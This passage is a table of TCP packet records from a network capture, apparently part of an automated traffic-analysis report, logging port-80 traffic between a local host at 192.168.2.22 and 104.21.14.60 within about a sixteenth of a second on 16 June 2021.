Jun 16, 2021 12:05:23.375390053 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375411034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375427008 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.375441074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375468016 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.375484943 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.376058102 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376085997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376111984 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376121998 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.376138926 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376158953 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.376168966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376198053 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376214027 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.376231909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376259089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376276970 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.376281977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376312971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376341105 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.376347065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376377106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376390934 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.376405001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.376451969 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.377044916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377073050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377096891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377123117 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.377125025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377154112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377168894 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.377187014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377219915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377237082 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.377248049 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377270937 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377291918 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.377301931 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377325058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377351999 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.377351999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377386093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377398968 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.377960920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.377993107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378032923 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.378031969 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378065109 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378096104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378115892 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.378128052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378146887 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.378155947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378185987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378211975 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378220081 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.378237963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378252029 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.378263950 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378293037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378305912 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.378320932 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378375053 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.378510952 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.378875971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378901958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378931046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378951073 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.378958941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.378989935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379012108 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.379014015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379041910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379056931 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.379061937 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379084110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379092932 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.379534960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379559994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379584074 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.379585981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379611015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379621029 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.379636049 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379657030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379668951 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.379682064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379704952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379715919 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.379728079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379748106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379770994 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.379772902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379797935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379807949 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.379823923 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.379865885 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.380494118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380522013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380544901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380559921 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.380567074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380589962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380599022 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.380610943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380631924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380644083 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.380654097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380676031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380686045 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.380701065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380723000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380734921 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.380745888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380770922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.380784988 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.381441116 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381473064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381496906 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381503105 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.381524086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381548882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381555080 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.381575108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381587029 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.381607056 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381632090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381648064 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.381665945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381691933 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381705999 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.381722927 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381752014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381762981 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.381777048 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.381819010 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.382392883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382416964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382445097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382461071 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.382476091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382514954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382524014 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.382543087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382566929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382586956 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.382592916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382620096 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382631063 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.382642031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382668972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382679939 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.382699966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382726908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.382741928 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.383338928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383366108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383385897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383414984 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.383416891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383441925 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.383449078 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383481026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383485079 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.383510113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383533001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383543015 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.383558989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383582115 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383599997 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.383605003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383630037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383641005 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.383651972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.383692026 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.384263039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384298086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384322882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384342909 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.384350061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384377003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384388924 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.384402037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384423971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384447098 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.384453058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384480953 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384497881 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.384912014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384939909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384965897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.384972095 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.384996891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385010958 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.385029078 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385049105 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385066032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385087967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385106087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385127068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385143042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385164022 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385173082 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.385190964 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.385190964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385231972 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.385930061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385962963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.385993958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386012077 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.386022091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386053085 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386065960 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.386080980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386105061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386130095 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.386133909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386171103 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386190891 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.386199951 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386231899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386246920 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.386266947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386293888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386318922 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.386814117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386837959 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386861086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386871099 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.386897087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386905909 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.386926889 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386961937 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.386972904 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.386996984 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387033939 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387054920 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.387063980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387092113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387109995 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.387139082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387161970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387175083 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.387185097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387232065 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.387742996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387770891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387793064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387823105 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387823105 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.387852907 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387876987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387881041 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.387907028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387917042 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.387944937 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387969971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.387989998 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.387996912 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388024092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388031960 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.388048887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388068914 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388086081 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.388710976 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388739109 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388762951 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388767958 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.388788939 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388802052 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.388820887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388850927 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388860941 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.388875961 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388897896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388907909 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.388926029 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388950109 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.388973951 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.388977051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389005899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389020920 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.389039993 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389075041 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.389632940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389661074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389688969 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389707088 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.389714003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389739037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389748096 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.389763117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389784098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389801025 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.389806032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389839888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389853954 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.389863014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389888048 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389897108 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.389910936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389934063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.389946938 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.390582085 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.390610933 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.390640020 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.390640974 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.390661955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.390686035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.390706062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.390724897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.390749931 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.390750885 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.390769005 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.390774965 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.390819073 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.391252995 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391278982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391309023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391331911 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.391345024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391375065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391383886 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.391405106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391428947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391448975 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.391450882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391483068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391494036 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.391510963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391535997 CEST	80	49168	104.21.14.60	192.168.2.22
